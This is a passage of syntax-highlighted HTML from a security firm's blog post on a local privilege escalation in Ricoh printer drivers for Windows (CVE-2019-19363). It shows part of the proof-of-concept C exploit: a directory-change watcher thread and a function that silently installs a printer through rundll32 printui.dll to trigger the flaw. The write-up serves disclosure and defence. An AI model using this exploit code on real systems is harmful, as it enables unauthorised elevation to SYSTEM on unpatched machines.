&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-95"&gt;&lt;code data-line-number=" 95"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-95" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-95"&gt;&lt;/a&gt;&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cbOffset&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-96"&gt;&lt;code data-line-number=" 96"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-96" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-96"&gt;&lt;/a&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-97"&gt;&lt;code data-line-number=" 97"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-97" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-97"&gt;&lt;/a&gt;&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="c1"&gt;// Reissue the watch command&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-98"&gt;&lt;code data-line-number=" 98"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-98" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-98"&gt;&lt;/a&gt;&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="n"&gt;ReadDirectoryChangesW&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;di&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;hDir&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;di&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;lpBuffer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;MAX_BUFFER&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;TRUE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dwNotifyFilter&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;di&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;dwBufLength&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;di&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Overlapped&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-99"&gt;&lt;code data-line-number=" 99"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-99" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-99"&gt;&lt;/a&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-100"&gt;&lt;code data-line-number="100"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-100" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-100"&gt;&lt;/a&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;di&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-101"&gt;&lt;code data-line-number="101"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-101" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-101"&gt;&lt;/a&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-102"&gt;&lt;code data-line-number="102"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-102" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-102"&gt;&lt;/a&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-103"&gt;&lt;code data-line-number="103"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-103" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-103"&gt;&lt;/a&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;WINAPI&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;InstallPrinter&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-104"&gt;&lt;code data-line-number="104"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-104" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-104"&gt;&lt;/a&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;WCHAR&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cmd_buf&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-105"&gt;&lt;code data-line-number="105"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-105" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-105"&gt;&lt;/a&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;swprintf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cmd_buf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cmd_buf&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sa"&gt;L&lt;/span&gt;&lt;span class="s"&gt;"/c rundll32 printui.dll, PrintUIEntry /if /b &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s"&gt;Printer&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s"&gt; /r lpt1: /m &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s"&gt;%s&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PrinterName&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-106"&gt;&lt;code data-line-number="106"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-106" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-106"&gt;&lt;/a&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;wprintf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;L&lt;/span&gt;&lt;span class="s"&gt;"+ Adding printer: %s&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cmd_buf&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-107"&gt;&lt;code data-line-number="107"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-107" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-107"&gt;&lt;/a&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-108"&gt;&lt;code data-line-number="108"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-108" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-108"&gt;&lt;/a&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;long&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ret&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;long&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ShellExecuteW&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sa"&gt;L&lt;/span&gt;&lt;span class="s"&gt;"open"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sa"&gt;L&lt;/span&gt;&lt;span class="s"&gt;"cmd"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cmd_buf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SW_HIDE&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-109"&gt;&lt;code data-line-number="109"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-109" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-109"&gt;&lt;/a&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ret&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// That seems to be the way to handle ShellExecuteW's ret value.&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-110"&gt;&lt;code data-line-number="110"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-110" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-110"&gt;&lt;/a&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="n"&gt;wprintf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;L&lt;/span&gt;&lt;span class="s"&gt;"+ Failed launching command. Return value is %d&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ret&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-111"&gt;&lt;code data-line-number="111"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-111" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-111"&gt;&lt;/a&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-112"&gt;&lt;code data-line-number="112"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-112" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-112"&gt;&lt;/a&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-113"&gt;&lt;code data-line-number="113"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-113" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-113"&gt;&lt;/a&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;WINAPI&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;WatchDirectories&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;HANDLE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;hCompPort&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-114"&gt;&lt;code data-line-number="114"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-114" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-114"&gt;&lt;/a&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;DWORD&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;tid&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-115"&gt;&lt;code data-line-number="115"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-115" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-115"&gt;&lt;/a&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;HANDLE&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;hThread&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-116"&gt;&lt;code data-line-number="116"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-116" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-116"&gt;&lt;/a&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-117"&gt;&lt;code data-line-number="117"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-117" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-117"&gt;&lt;/a&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;ReadDirectoryChangesW&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;DirInfo&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;hDir&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DirInfo&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;lpBuffer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;MAX_BUFFER&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;TRUE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dwNotifyFilter&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;DirInfo&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;dwBufLength&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;DirInfo&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Overlapped&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-118"&gt;&lt;code data-line-number="118"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-118" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-118"&gt;&lt;/a&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-119"&gt;&lt;code data-line-number="119"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-119" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-119"&gt;&lt;/a&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// Create a thread to sit on the directory changes&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-120"&gt;&lt;code data-line-number="120"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-120" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-120"&gt;&lt;/a&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;hThread&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;CreateThread&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;LPTHREAD_START_ROUTINE&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;HandleDirectoryChange&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;hCompPort&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;tid&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-121"&gt;&lt;code data-line-number="121"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-121" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-121"&gt;&lt;/a&gt;
